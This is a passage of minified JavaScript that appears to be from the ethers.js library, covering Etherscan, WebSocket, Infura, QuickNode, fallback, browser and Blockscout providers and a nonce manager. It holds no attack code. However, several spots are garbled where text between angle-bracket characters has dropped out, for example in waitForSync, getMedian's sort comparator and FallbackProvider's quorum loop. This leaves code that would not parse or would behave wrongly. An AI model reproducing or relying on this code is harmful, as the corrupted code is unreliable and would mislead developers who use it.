if(key==="blobVersionedHashes"){if(value.length===0){continue}assert(false,"Etherscan API does not support blobVersionedHashes","UNSUPPORTED_OPERATION",{operation:"_getTransactionPostData",info:{transaction:transaction}})}else{value=hexlify(value)}result[key]=value}return result}_checkError(req,error,transaction){let message="";if(isError(error,"SERVER_ERROR")){try{message=error.info.result.error.message}catch(e){}if(!message){try{message=error.info.message}catch(e){}}}if(req.method==="estimateGas"){if(!message.match(/revert/i)&&message.match(/insufficient funds/i)){assert(false,"insufficient funds","INSUFFICIENT_FUNDS",{transaction:req.transaction})}}if(req.method==="call"||req.method==="estimateGas"){if(message.match(/execution reverted/i)){let data="";try{data=error.info.result.error.data}catch(error){}const e=AbiCoder.getBuiltinCallException(req.method,req.transaction,data);e.info={request:req,error:error};throw e}}if(message){if(req.method==="broadcastTransaction"){const transaction=Transaction.from(req.signedTransaction);if(message.match(/replacement/i)&&message.match(/underpriced/i)){assert(false,"replacement fee too low","REPLACEMENT_UNDERPRICED",{transaction:transaction})}if(message.match(/insufficient funds/)){assert(false,"insufficient funds for intrinsic transaction cost","INSUFFICIENT_FUNDS",{transaction:transaction})}if(message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)){assert(false,"nonce has already been used","NONCE_EXPIRED",{transaction:transaction})}}}throw error}async _detectNetwork(){return this.network}async _perform(req){switch(req.method){case"chainId":return this.network.chainId;case"getBlockNumber":return this.fetch("proxy",{action:"eth_blockNumber"});case"getGasPrice":return this.fetch("proxy",{action:"eth_gasPrice"});case"getPriorityFee":if(this.network.name==="mainnet"){return"1000000000"}else if(this.network.name==="optimism"){return"1000000"}else{throw new Error("fallback onto the AbstractProvider default")}case"getBalance":return this.fetch("account",{action:"balance",address:req.address,tag:req.blockTag});case"getTransactionCount":return this.fetch("proxy",{action:"eth_getTransactionCount",address:req.address,tag:req.blockTag});case"getCode":return this.fetch("proxy",{action:"eth_getCode",address:req.address,tag:req.blockTag});case"getStorage":return this.fetch("proxy",{action:"eth_getStorageAt",address:req.address,position:req.position,tag:req.blockTag});case"broadcastTransaction":return this.fetch("proxy",{action:"eth_sendRawTransaction",hex:req.signedTransaction},true).catch(error=>{return this._checkError(req,error,req.signedTransaction)});case"getBlock":if("blockTag"in req){return this.fetch("proxy",{action:"eth_getBlockByNumber",tag:req.blockTag,boolean:req.includeTransactions?"true":"false"})}assert(false,"getBlock by blockHash not supported by Etherscan","UNSUPPORTED_OPERATION",{operation:"getBlock(blockHash)"});case"getTransaction":return this.fetch("proxy",{action:"eth_getTransactionByHash",txhash:req.hash});case"getTransactionReceipt":return this.fetch("proxy",{action:"eth_getTransactionReceipt",txhash:req.hash});case"call":{if(req.blockTag!=="latest"){throw new Error("EtherscanProvider does not support blockTag for call")}const postData=this._getTransactionPostData(req.transaction);postData.module="proxy";postData.action="eth_call";try{return await this.fetch("proxy",postData,true)}catch(error){return this._checkError(req,error,req.transaction)}}case"estimateGas":{const postData=this._getTransactionPostData(req.transaction);postData.module="proxy";postData.action="eth_estimateGas";try{return await this.fetch("proxy",postData,true)}catch(error){return this._checkError(req,error,req.transaction)}}}return super._perform(req)}async getNetwork(){return this.network}async getEtherPrice(){if(this.network.name!=="mainnet"){return 0}return parseFloat((await this.fetch("stats",{action:"ethprice"})).ethusd)}async getContract(_address){let address=this._getAddress(_address);if(isPromise(address)){address=await address}try{const resp=await this.fetch("contract",{action:"getabi",address:address});const abi=JSON.parse(resp);return new Contract(address,abi,this)}catch(error){return null}}isCommunityResource(){return this.apiKey==null}}function getGlobal(){if(typeof self!=="undefined"){return self}if(typeof window!=="undefined"){return window}if(typeof global!=="undefined"){return global}throw new Error("unable to locate global object")}const _WebSocket=getGlobal().WebSocket;class SocketSubscriber{#provider;#filter;get filter(){return JSON.parse(this.#filter)}#filterId;#paused;#emitPromise;constructor(provider,filter){this.#provider=provider;this.#filter=JSON.stringify(filter);this.#filterId=null;this.#paused=null;this.#emitPromise=null}start(){this.#filterId=this.#provider.send("eth_subscribe",this.filter).then(filterId=>{this.#provider._register(filterId,this);return filterId})}stop(){this.#filterId.then(filterId=>{if(this.#provider.destroyed){return}this.#provider.send("eth_unsubscribe",[filterId])});this.#filterId=null}pause(dropWhilePaused){assert(dropWhilePaused,"preserve logs while paused not supported by SocketSubscriber yet","UNSUPPORTED_OPERATION",{operation:"pause(false)"});this.#paused=!!dropWhilePaused}resume(){this.#paused=null}_handleMessage(message){if(this.#filterId==null){return}if(this.#paused===null){let emitPromise=this.#emitPromise;if(emitPromise==null){emitPromise=this._emit(this.#provider,message)}else{emitPromise=emitPromise.then(async()=>{await this._emit(this.#provider,message)})}this.#emitPromise=emitPromise.then(()=>{if(this.#emitPromise===emitPromise){this.#emitPromise=null}})}}async _emit(provider,message){throw new Error("sub-classes must implemente this; _emit")}}class SocketBlockSubscriber extends SocketSubscriber{constructor(provider){super(provider,["newHeads"])}async _emit(provider,message){provider.emit("block",parseInt(message.number))}}class SocketPendingSubscriber extends SocketSubscriber{constructor(provider){super(provider,["newPendingTransactions"])}async _emit(provider,message){provider.emit("pending",message)}}class SocketEventSubscriber extends SocketSubscriber{#logFilter;get logFilter(){return JSON.parse(this.#logFilter)}constructor(provider,filter){super(provider,["logs",filter]);this.#logFilter=JSON.stringify(filter)}async _emit(provider,message){provider.emit(this.logFilter,provider._wrapLog(message,provider._network))}}class SocketProvider extends JsonRpcApiProvider{#callbacks;#subs;#pending;constructor(network,_options){const options=Object.assign({},_options!=null?_options:{});assertArgument(options.batchMaxCount==null||options.batchMaxCount===1,"sockets-based providers do not support batches","options.batchMaxCount",_options);options.batchMaxCount=1;if(options.staticNetwork==null){options.staticNetwork=true}super(network,options);this.#callbacks=new Map;this.#subs=new Map;this.#pending=new Map}_getSubscriber(sub){switch(sub.type){case"close":return new UnmanagedSubscriber("close");case"block":return new SocketBlockSubscriber(this);case"pending":return new SocketPendingSubscriber(this);case"event":return new SocketEventSubscriber(this,sub.filter);case"orphan":if(sub.filter.orphan==="drop-log"){return new UnmanagedSubscriber("drop-log")}}return super._getSubscriber(sub)}_register(filterId,subscriber){this.#subs.set(filterId,subscriber);const pending=this.#pending.get(filterId);if(pending){for(const message of pending){subscriber._handleMessage(message)}this.#pending.delete(filterId)}}async _send(payload){assertArgument(!Array.isArray(payload),"WebSocket does not support batch send","payload",payload);const promise=new Promise((resolve,reject)=>{this.#callbacks.set(payload.id,{payload:payload,resolve:resolve,reject:reject})});await this._waitUntilReady();await this._write(JSON.stringify(payload));return[await promise]}async _processMessage(message){const result=JSON.parse(message);if(result&&typeof result==="object"&&"id"in result){const callback=this.#callbacks.get(result.id);if(callback==null){this.emit("error",makeError("received result for unknown id","UNKNOWN_ERROR",{reasonCode:"UNKNOWN_ID",result:result}));return}this.#callbacks.delete(result.id);callback.resolve(result)}else if(result&&result.method==="eth_subscription"){const filterId=result.params.subscription;const subscriber=this.#subs.get(filterId);if(subscriber){subscriber._handleMessage(result.params.result)}else{let pending=this.#pending.get(filterId);if(pending==null){pending=[];this.#pending.set(filterId,pending)}pending.push(result.params.result)}}else{this.emit("error",makeError("received unexpected message","UNKNOWN_ERROR",{reasonCode:"UNEXPECTED_MESSAGE",result:result}));return}}async _write(message){throw new Error("sub-classes must override this")}}class WebSocketProvider extends SocketProvider{#connect;#websocket;get websocket(){if(this.#websocket==null){throw new Error("websocket closed")}return this.#websocket}constructor(url,network,options){super(network,options);if(typeof url==="string"){this.#connect=()=>{return new _WebSocket(url)};this.#websocket=this.#connect()}else if(typeof url==="function"){this.#connect=url;this.#websocket=url()}else{this.#connect=null;this.#websocket=url}this.websocket.onopen=async()=>{try{await this._start();this.resume()}catch(error){console.log("failed to start WebsocketProvider",error)}};this.websocket.onmessage=message=>{this._processMessage(message.data)}}async _write(message){this.websocket.send(message)}async destroy(){if(this.#websocket!=null){this.#websocket.close();this.#websocket=null}super.destroy()}}const defaultProjectId="84842078b09946638c03157f83405213";function getHost$2(name){switch(name){case"mainnet":return"mainnet.infura.io";case"goerli":return"goerli.infura.io";case"sepolia":return"sepolia.infura.io";case"arbitrum":return"arbitrum-mainnet.infura.io";case"arbitrum-goerli":return"arbitrum-goerli.infura.io";case"arbitrum-sepolia":return"arbitrum-sepolia.infura.io";case"base":return"base-mainnet.infura.io";case"base-goerlia":case"base-goerli":return"base-goerli.infura.io";case"base-sepolia":return"base-sepolia.infura.io";case"bnb":return"bsc-mainnet.infura.io";case"bnbt":return"bsc-testnet.infura.io";case"linea":return"linea-mainnet.infura.io";case"linea-goerli":return"linea-goerli.infura.io";case"linea-sepolia":return"linea-sepolia.infura.io";case"matic":return"polygon-mainnet.infura.io";case"matic-amoy":return"polygon-amoy.infura.io";case"matic-mumbai":return"polygon-mumbai.infura.io";case"optimism":return"optimism-mainnet.infura.io";case"optimism-goerli":return"optimism-goerli.infura.io";case"optimism-sepolia":return"optimism-sepolia.infura.io"}assertArgument(false,"unsupported network","network",name)}class InfuraWebSocketProvider extends WebSocketProvider{projectId;projectSecret;constructor(network,projectId){const provider=new InfuraProvider(network,projectId);const req=provider._getConnection();assert(!req.credentials,"INFURA WebSocket project secrets unsupported","UNSUPPORTED_OPERATION",{operation:"InfuraProvider.getWebSocketProvider()"});const url=req.url.replace(/^http/i,"ws").replace("/v3/","/ws/v3/");super(url,provider._network);defineProperties(this,{projectId:provider.projectId,projectSecret:provider.projectSecret})}isCommunityResource(){return this.projectId===defaultProjectId}}class InfuraProvider extends JsonRpcProvider{projectId;projectSecret;constructor(_network,projectId,projectSecret){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(projectId==null){projectId=defaultProjectId}if(projectSecret==null){projectSecret=null}const request=InfuraProvider.getRequest(network,projectId,projectSecret);super(request,network,{staticNetwork:network});defineProperties(this,{projectId:projectId,projectSecret:projectSecret})}_getProvider(chainId){try{return new InfuraProvider(chainId,this.projectId,this.projectSecret)}catch(error){}return super._getProvider(chainId)}isCommunityResource(){return this.projectId===defaultProjectId}static getWebSocketProvider(network,projectId){return new InfuraWebSocketProvider(network,projectId)}static getRequest(network,projectId,projectSecret){if(projectId==null){projectId=defaultProjectId}if(projectSecret==null){projectSecret=null}const request=new FetchRequest(`https:/\/${getHost$2(network.name)}/v3/${projectId}`);request.allowGzip=true;if(projectSecret){request.setCredentials("",projectSecret)}if(projectId===defaultProjectId){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("InfuraProvider");return true}}return request}}const defaultToken="919b412a057b5e9c9b6dce193c5a60242d6efadb";function getHost$1(name){switch(name){case"mainnet":return"ethers.quiknode.pro";case"goerli":return"ethers.ethereum-goerli.quiknode.pro";case"sepolia":return"ethers.ethereum-sepolia.quiknode.pro";case"holesky":return"ethers.ethereum-holesky.quiknode.pro";case"arbitrum":return"ethers.arbitrum-mainnet.quiknode.pro";case"arbitrum-goerli":return"ethers.arbitrum-goerli.quiknode.pro";case"arbitrum-sepolia":return"ethers.arbitrum-sepolia.quiknode.pro";case"base":return"ethers.base-mainnet.quiknode.pro";case"base-goerli":return"ethers.base-goerli.quiknode.pro";case"base-spolia":return"ethers.base-sepolia.quiknode.pro";case"bnb":return"ethers.bsc.quiknode.pro";case"bnbt":return"ethers.bsc-testnet.quiknode.pro";case"matic":return"ethers.matic.quiknode.pro";case"matic-mumbai":return"ethers.matic-testnet.quiknode.pro";case"optimism":return"ethers.optimism.quiknode.pro";case"optimism-goerli":return"ethers.optimism-goerli.quiknode.pro";case"optimism-sepolia":return"ethers.optimism-sepolia.quiknode.pro";case"xdai":return"ethers.xdai.quiknode.pro"}assertArgument(false,"unsupported network","network",name)}class QuickNodeProvider extends JsonRpcProvider{token;constructor(_network,token){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(token==null){token=defaultToken}const request=QuickNodeProvider.getRequest(network,token);super(request,network,{staticNetwork:network});defineProperties(this,{token:token})}_getProvider(chainId){try{return new QuickNodeProvider(chainId,this.token)}catch(error){}return super._getProvider(chainId)}isCommunityResource(){return this.token===defaultToken}static getRequest(network,token){if(token==null){token=defaultToken}const request=new FetchRequest(`https:/\/${getHost$1(network.name)}/${token}`);request.allowGzip=true;if(token===defaultToken){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("QuickNodeProvider");return true}}return request}}const BN_1=BigInt("1");const BN_2=BigInt("2");function shuffle(array){for(let i=array.length-1;i>0;i--){const j=Math.floor(Math.random()*(i+1));const tmp=array[i];array[i]=array[j];array[j]=tmp}}function stall$2(duration){return new Promise(resolve=>{setTimeout(resolve,duration)})}function getTime(){return(new Date).getTime()}function stringify(value){return JSON.stringify(value,(key,value)=>{if(typeof value==="bigint"){return{type:"bigint",value:value.toString()}}return value})}const defaultConfig={stallTimeout:400,priority:1,weight:1};const defaultState={blockNumber:-2,requests:0,lateResponses:0,errorResponses:0,outOfSync:-1,unsupportedEvents:0,rollingDuration:0,score:0,_network:null,_updateNumber:null,_totalTime:0,_lastFatalError:null,_lastFatalErrorTimestamp:0};async function waitForSync(config,blockNumber){while(config.blockNumber<0||config.blockNumber{try{const blockNumber=await config.provider.getBlockNumber();if(blockNumber>config.blockNumber){config.blockNumber=blockNumber}}catch(error){config.blockNumber=-2;config._lastFatalError=error;config._lastFatalErrorTimestamp=getTime()}config._updateNumber=null})()}await config._updateNumber;config.outOfSync++;if(config._lastFatalError){break}}}function _normalize(value){if(value==null){return"null"}if(Array.isArray(value)){return"["+value.map(_normalize).join(",")+"]"}if(typeof value==="object"&&typeof value.toJSON==="function"){return _normalize(value.toJSON())}switch(typeof value){case"boolean":case"symbol":return value.toString();case"bigint":case"number":return BigInt(value).toString();case"string":return JSON.stringify(value);case"object":{const keys=Object.keys(value);keys.sort();return"{"+keys.map(k=>`${JSON.stringify(k)}:${_normalize(value[k])}`).join(",")+"}"}}console.log("Could not serialize",value);throw new Error("Hmm...")}function normalizeResult(method,value){if("error"in value){const error=value.error;let tag;if(isError(error,"CALL_EXCEPTION")){tag=_normalize(Object.assign({},error,{shortMessage:undefined,reason:undefined,info:undefined}))}else{tag=_normalize(error)}return{tag:tag,value:error}}const result=value.result;return{tag:_normalize(result),value:result}}function checkQuorum(quorum,results){const tally=new Map;for(const{value,tag,weight}of results){const t=tally.get(tag)||{value:value,weight:0};t.weight+=weight;tally.set(tag,t)}let best=null;for(const r of tally.values()){if(r.weight>=quorum&&(!best||r.weight>best.weight)){best=r}}if(best){return best.value}return undefined}function getMedian(quorum,results){let resultWeight=0;const errorMap=new Map;let bestError=null;const values=[];for(const{value,tag,weight}of results){if(value instanceof Error){const e=errorMap.get(tag)||{value:value,weight:0};e.weight+=weight;errorMap.set(tag,e);if(bestError==null||e.weight>bestError.weight){bestError=e}}else{values.push(BigInt(value));resultWeight+=weight}}if(resultWeight=quorum){return bestError.value}return undefined}values.sort((a,b)=>aa?1:0);const mid=Math.floor(values.length/2);if(values.length%2){return values[mid]}return(values[mid-1]+values[mid]+BN_1)/BN_2}function getAnyResult(quorum,results){const result=checkQuorum(quorum,results);if(result!==undefined){return result}for(const r of results){if(r.value){return r.value}}return undefined}function getFuzzyMode(quorum,results){if(quorum===1){return getNumber(getMedian(quorum,results),"%internal")}const tally=new Map;const add=(result,weight)=>{const t=tally.get(result)||{result:result,weight:0};t.weight+=weight;tally.set(result,t)};for(const{weight,value}of results){const r=getNumber(value);add(r-1,weight);add(r,weight);add(r+1,weight)}let bestWeight=0;let bestResult=undefined;for(const{weight,result}of tally.values()){if(weight>=quorum&&(weight>bestWeight||bestResult!=null&&weight===bestWeight&&result>bestResult)){bestWeight=weight;bestResult=result}}return bestResult}class FallbackProvider extends AbstractProvider{quorum;eventQuorum;eventWorkers;#configs;#height;#initialSyncPromise;constructor(providers,network,options){super(network,options);this.#configs=providers.map(p=>{if(p instanceof AbstractProvider){return Object.assign({provider:p},defaultConfig,defaultState)}else{return Object.assign({},defaultConfig,p,defaultState)}});this.#height=-2;this.#initialSyncPromise=null;if(options&&options.quorum!=null){this.quorum=options.quorum}else{this.quorum=Math.ceil(this.#configs.reduce((accum,config)=>{accum+=config.weight;return accum},0)/2)}this.eventQuorum=1;this.eventWorkers=1;assertArgument(this.quorum<=this.#configs.reduce((a,c)=>a+c.weight,0),"quorum exceed provider weight","quorum",this.quorum)}get providerConfigs(){return this.#configs.map(c=>{const result=Object.assign({},c);for(const key in result){if(key[0]==="_"){delete result[key]}}return result})}async _detectNetwork(){return Network.from(getBigInt(await this._perform({method:"chainId"})))}async _translatePerform(provider,req){switch(req.method){case"broadcastTransaction":return await provider.broadcastTransaction(req.signedTransaction);case"call":return await provider.call(Object.assign({},req.transaction,{blockTag:req.blockTag}));case"chainId":return(await provider.getNetwork()).chainId;case"estimateGas":return await provider.estimateGas(req.transaction);case"getBalance":return await provider.getBalance(req.address,req.blockTag);case"getBlock":{const block="blockHash"in req?req.blockHash:req.blockTag;return await provider.getBlock(block,req.includeTransactions)}case"getBlockNumber":return await provider.getBlockNumber();case"getCode":return await provider.getCode(req.address,req.blockTag);case"getGasPrice":return(await provider.getFeeData()).gasPrice;case"getPriorityFee":return(await provider.getFeeData()).maxPriorityFeePerGas;case"getLogs":return await provider.getLogs(req.filter);case"getStorage":return await provider.getStorage(req.address,req.position,req.blockTag);case"getTransaction":return await provider.getTransaction(req.hash);case"getTransactionCount":return await provider.getTransactionCount(req.address,req.blockTag);case"getTransactionReceipt":return await provider.getTransactionReceipt(req.hash);case"getTransactionResult":return await provider.getTransactionResult(req.hash)}}#getNextConfig(running){const configs=Array.from(running).map(r=>r.config);const allConfigs=this.#configs.slice();shuffle(allConfigs);allConfigs.sort((a,b)=>a.priority-b.priority);for(const config of allConfigs){if(config._lastFatalError){continue}if(configs.indexOf(config)===-1){return config}}return null}#addRunner(running,req){const config=this.#getNextConfig(running);if(config==null){return null}const runner={config:config,result:null,didBump:false,perform:null,staller:null};const now=getTime();runner.perform=(async()=>{try{config.requests++;const result=await this._translatePerform(config.provider,req);runner.result={result:result}}catch(error){config.errorResponses++;runner.result={error:error}}const dt=getTime()-now;config._totalTime+=dt;config.rollingDuration=.95*config.rollingDuration+.05*dt;runner.perform=null})();runner.staller=(async()=>{await stall$2(config.stallTimeout);runner.staller=null})();running.add(runner);return runner}async#initialSync(){let initialSync=this.#initialSyncPromise;if(!initialSync){const promises=[];this.#configs.forEach(config=>{promises.push((async()=>{await waitForSync(config,0);if(!config._lastFatalError){config._network=await config.provider.getNetwork()}})())});this.#initialSyncPromise=initialSync=(async()=>{await Promise.all(promises);let chainId=null;for(const config of this.#configs){if(config._lastFatalError){continue}const network=config._network;if(chainId==null){chainId=network.chainId}else if(network.chainId!==chainId){assert(false,"cannot mix providers on different networks","UNSUPPORTED_OPERATION",{operation:"new FallbackProvider"})}}})()}await initialSync}async#checkQuorum(running,req){const results=[];for(const runner of running){if(runner.result!=null){const{tag,value}=normalizeResult(req.method,runner.result);results.push({tag:tag,value:value,weight:runner.config.weight})}}if(results.reduce((a,r)=>a+r.weight,0)!c._lastFatalError).map(c=>({value:c.blockNumber,tag:getNumber(c.blockNumber).toString(),weight:c.weight})))))}const mode=getFuzzyMode(this.quorum,results);if(mode===undefined){return undefined}if(mode>this.#height){this.#height=mode}return this.#height}case"getGasPrice":case"getPriorityFee":case"estimateGas":return getMedian(this.quorum,results);case"getBlock":if("blockTag"in req&&req.blockTag==="pending"){return getAnyResult(this.quorum,results)}return checkQuorum(this.quorum,results);case"call":case"chainId":case"getBalance":case"getTransactionCount":case"getCode":case"getStorage":case"getTransaction":case"getTransactionReceipt":case"getLogs":return checkQuorum(this.quorum,results);case"broadcastTransaction":return getAnyResult(this.quorum,results)}assert(false,"unsupported method","UNSUPPORTED_OPERATION",{operation:`_perform(${stringify(req.method)})`})}async#waitForQuorum(running,req){if(running.size===0){throw new Error("no runners?!")}const interesting=[];let newRunners=0;for(const runner of running){if(runner.perform){interesting.push(runner.perform)}if(runner.staller){interesting.push(runner.staller);continue}if(runner.didBump){continue}runner.didBump=true;newRunners++}const value=await this.#checkQuorum(running,req);if(value!==undefined){if(value instanceof Error){throw value}return value}for(let i=0;i0,"quorum not met","SERVER_ERROR",{request:"%sub-requests",info:{request:req,results:Array.from(running).map(r=>stringify(r.result))}});await Promise.race(interesting);return await this.#waitForQuorum(running,req)}async _perform(req){if(req.method==="broadcastTransaction"){const results=this.#configs.map(c=>null);const broadcasts=this.#configs.map(async({provider,weight},index)=>{try{const result=await provider._perform(req);results[index]=Object.assign(normalizeResult(req.method,{result:result}),{weight:weight})}catch(error){results[index]=Object.assign(normalizeResult(req.method,{error:error}),{weight:weight})}});while(true){const done=results.filter(r=>r!=null);for(const{value}of done){if(!(value instanceof Error)){return value}}const result=checkQuorum(this.quorum,results.filter(r=>r!=null));if(isError(result,"INSUFFICIENT_FUNDS")){throw result}const waiting=broadcasts.filter((b,i)=>results[i]==null);if(waiting.length===0){break}await Promise.race(waiting)}const result=getAnyResult(this.quorum,results);assert(result!==undefined,"problem multi-broadcasting","SERVER_ERROR",{request:"%sub-requests",info:{request:req,results:results.map(stringify)}});if(result instanceof Error){throw result}return result}await this.#initialSync();const running=new Set;let inflightQuorum=0;while(true){const runner=this.#addRunner(running,req);if(runner==null){break}inflightQuorum+=runner.config.weight;if(inflightQuorum>=this.quorum){break}}const result=await this.#waitForQuorum(running,req);for(const runner of running){if(runner.perform&&runner.result==null){runner.config.lateResponses++}}return result}async destroy(){for(const{provider}of this.#configs){provider.destroy()}super.destroy()}}function isWebSocketLike(value){return value&&typeof value.send==="function"&&typeof value.close==="function"}const Testnets="goerli kovan sepolia classicKotti optimism-goerli arbitrum-goerli matic-mumbai bnbt".split(" ");function getDefaultProvider(network,options){if(options==null){options={}}const allowService=name=>{if(options[name]==="-"){return false}if(typeof options.exclusive==="string"){return name===options.exclusive}if(Array.isArray(options.exclusive)){return options.exclusive.indexOf(name)!==-1}return true};if(typeof network==="string"&&network.match(/^https?:/)){return new JsonRpcProvider(network)}if(typeof network==="string"&&network.match(/^wss?:/)||isWebSocketLike(network)){return new WebSocketProvider(network)}let staticNetwork=null;try{staticNetwork=Network.from(network)}catch(error){}const providers=[];if(allowService("publicPolygon")&&staticNetwork){if(staticNetwork.name==="matic"){providers.push(new JsonRpcProvider("https://polygon-rpc.com/",staticNetwork,{staticNetwork:staticNetwork}))}else if(staticNetwork.name==="matic-amoy"){providers.push(new JsonRpcProvider("https://rpc-amoy.polygon.technology/",staticNetwork,{staticNetwork:staticNetwork}))}}if(allowService("alchemy")){try{providers.push(new AlchemyProvider(network,options.alchemy))}catch(error){}}if(allowService("ankr")&&options.ankr!=null){try{providers.push(new AnkrProvider(network,options.ankr))}catch(error){}}if(allowService("chainstack")){try{providers.push(new ChainstackProvider(network,options.chainstack))}catch(error){}}if(allowService("cloudflare")){try{providers.push(new CloudflareProvider(network))}catch(error){}}if(allowService("etherscan")){try{providers.push(new EtherscanProvider(network,options.etherscan))}catch(error){}}if(allowService("infura")){try{let projectId=options.infura;let projectSecret=undefined;if(typeof projectId==="object"){projectSecret=projectId.projectSecret;projectId=projectId.projectId}providers.push(new InfuraProvider(network,projectId,projectSecret))}catch(error){}}if(allowService("quicknode")){try{let token=options.quicknode;providers.push(new QuickNodeProvider(network,token))}catch(error){}}assert(providers.length,"unsupported default network","UNSUPPORTED_OPERATION",{operation:"getDefaultProvider"});if(providers.length===1){return providers[0]}let quorum=Math.floor(providers.length/2);if(quorum>2){quorum=2}if(staticNetwork&&Testnets.indexOf(staticNetwork.name)!==-1){quorum=1}if(options&&options.quorum){quorum=options.quorum}return new FallbackProvider(providers,undefined,{quorum:quorum})}class NonceManager extends AbstractSigner{signer;#noncePromise;#delta;constructor(signer){super(signer.provider);defineProperties(this,{signer:signer});this.#noncePromise=null;this.#delta=0}async getAddress(){return this.signer.getAddress()}connect(provider){return new NonceManager(this.signer.connect(provider))}async getNonce(blockTag){if(blockTag==="pending"){if(this.#noncePromise==null){this.#noncePromise=super.getNonce("pending")}const delta=this.#delta;return await this.#noncePromise+delta}return super.getNonce(blockTag)}increment(){this.#delta++}reset(){this.#delta=0;this.#noncePromise=null}async sendTransaction(tx){const noncePromise=this.getNonce("pending");this.increment();tx=await this.signer.populateTransaction(tx);tx.nonce=await noncePromise;return await this.signer.sendTransaction(tx)}signTransaction(tx){return this.signer.signTransaction(tx)}signMessage(message){return this.signer.signMessage(message)}signTypedData(domain,types,value){return this.signer.signTypedData(domain,types,value)}}class BrowserProvider extends JsonRpcApiPollingProvider{#request;#providerInfo;constructor(ethereum,network,_options){const options=Object.assign({},_options!=null?_options:{},{batchMaxCount:1});assertArgument(ethereum&ðereum.request,"invalid EIP-1193 provider","ethereum",ethereum);super(network,options);this.#providerInfo=null;if(_options&&_options.providerInfo){this.#providerInfo=_options.providerInfo}this.#request=async(method,params)=>{const payload={method:method,params:params};this.emit("debug",{action:"sendEip1193Request",payload:payload});try{const result=await ethereum.request(payload);this.emit("debug",{action:"receiveEip1193Result",result:result});return result}catch(e){const error=new Error(e.message);error.code=e.code;error.data=e.data;error.payload=payload;this.emit("debug",{action:"receiveEip1193Error",error:error});throw error}}}get providerInfo(){return this.#providerInfo}async send(method,params){await this._start();return await super.send(method,params)}async _send(payload){assertArgument(!Array.isArray(payload),"EIP-1193 does not support batch request","payload",payload);try{const result=await this.#request(payload.method,payload.params||[]);return[{id:payload.id,result:result}]}catch(e){return[{id:payload.id,error:{code:e.code,data:e.data,message:e.message}}]}}getRpcError(payload,error){error=JSON.parse(JSON.stringify(error));switch(error.error.code||-1){case 4001:error.error.message=`ethers-user-denied: ${error.error.message}`;break;case 4200:error.error.message=`ethers-unsupported: ${error.error.message}`;break}return super.getRpcError(payload,error)}async hasSigner(address){if(address==null){address=0}const accounts=await this.send("eth_accounts",[]);if(typeof address==="number"){return accounts.length>address}address=address.toLowerCase();return accounts.filter(a=>a.toLowerCase()===address).length!==0}async getSigner(address){if(address==null){address=0}if(!await this.hasSigner(address)){try{await this.#request("eth_requestAccounts",[])}catch(error){const payload=error.payload;throw this.getRpcError(payload,{id:payload.id,error:error})}}return await super.getSigner(address)}static async discover(options){if(options==null){options={}}if(options.provider){return new BrowserProvider(options.provider)}const context=options.window?options.window:typeof window!=="undefined"?window:null;if(context==null){return null}const anyProvider=options.anyProvider;if(anyProvider&&context.ethereum){return new BrowserProvider(context.ethereum)}if(!("addEventListener"in context&&"dispatchEvent"in context&&"removeEventListener"in context)){return null}const timeout=options.timeout?options.timeout:300;if(timeout===0){return null}return await new Promise((resolve,reject)=>{let found=[];const addProvider=event=>{found.push(event.detail);if(anyProvider){finalize()}};const finalize=()=>{clearTimeout(timer);if(found.length){if(options&&options.filter){const filtered=options.filter(found.map(i=>Object.assign({},i.info)));if(filtered==null){resolve(null)}else if(filtered instanceof BrowserProvider){resolve(filtered)}else{let match=null;if(filtered.uuid){const matches=found.filter(f=>filtered.uuid===f.info.uuid);match=matches[0]}if(match){const{provider,info}=match;resolve(new BrowserProvider(provider,undefined,{providerInfo:info}))}else{reject(makeError("filter returned unknown info","UNSUPPORTED_OPERATION",{value:filtered}))}}}else{const{provider,info}=found[0];resolve(new BrowserProvider(provider,undefined,{providerInfo:info}))}}else{resolve(null)}context.removeEventListener("eip6963:announceProvider",addProvider)};const timer=setTimeout(()=>{finalize()},timeout);context.addEventListener("eip6963:announceProvider",addProvider);context.dispatchEvent(new Event("eip6963:requestProvider"))})}}function getUrl(name){switch(name){case"mainnet":return"https://eth.blockscout.com/api/eth-rpc";case"sepolia":return"https://eth-sepolia.blockscout.com/api/eth-rpc";case"holesky":return"https://eth-holesky.blockscout.com/api/eth-rpc";case"classic":return"https://etc.blockscout.com/api/eth-rpc";case"arbitrum":return"https://arbitrum.blockscout.com/api/eth-rpc";case"base":return"https://base.blockscout.com/api/eth-rpc";case"base-sepolia":return"https://base-sepolia.blockscout.com/api/eth-rpc";case"matic":return"https://polygon.blockscout.com/api/eth-rpc";case"optimism":return"https://optimism.blockscout.com/api/eth-rpc";case"optimism-sepolia":return"https://optimism-sepolia.blockscout.com/api/eth-rpc";case"xdai":return"https://gnosis.blockscout.com/api/eth-rpc"}assertArgument(false,"unsupported network","network",name)}class BlockscoutProvider extends JsonRpcProvider{apiKey;constructor(_network,apiKey){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(apiKey==null){apiKey=null}const request=BlockscoutProvider.getRequest(network);super(request,network,{staticNetwork:network});defineProperties(this,{apiKey:apiKey})}_getProvider(chainId){try{return new BlockscoutProvider(chainId,this.apiKey)}catch(error){}return super._getProvider(chainId)}isCommunityResource(){return this.apiKey===null}getRpcRequest(req){const resp=super.getRpcRequest(req);if(resp&&resp.method==="eth_estimateGas"&&resp.args.length==1){resp.args=resp.args.slice();resp.args.push("latest")}return resp}getRpcError(payload,_error){const error=_error?_error.error:null;if(error&&error.code===-32015&&!isHexString(error.data||"",true)){const panicCodes={"assert(false)":"01","arithmetic underflow or overflow":"11","division or modulo by zero":"12","out-of-bounds array access; popping on an empty array":"31","out-of-bounds access of an array or bytesN":"32"};let panicCode="";if(error.message==="VM execution error."){panicCode=panicCodes[error.data]||""}else if(panicCodes[error.message||""]){panicCode=panicCodes[error.message||""]}if(panicCode){error.message+=` (reverted: ${error.data})`;error.data="0x4e487b7100000000000000000000000000000000000000000000000000000000000000"+panicCode}}else if(error&&error.code===-32e3){if(error.message==="wrong transaction nonce"){error.message+=" (nonce too low)"}}return super.getRpcError(payload,_error)}static getRequest(network){const request=new FetchRequest(getUrl(network.name));request.allowGzip=true;return request}}const defaultApplicationId="62e1ad51b37b8e00394bda3b";function 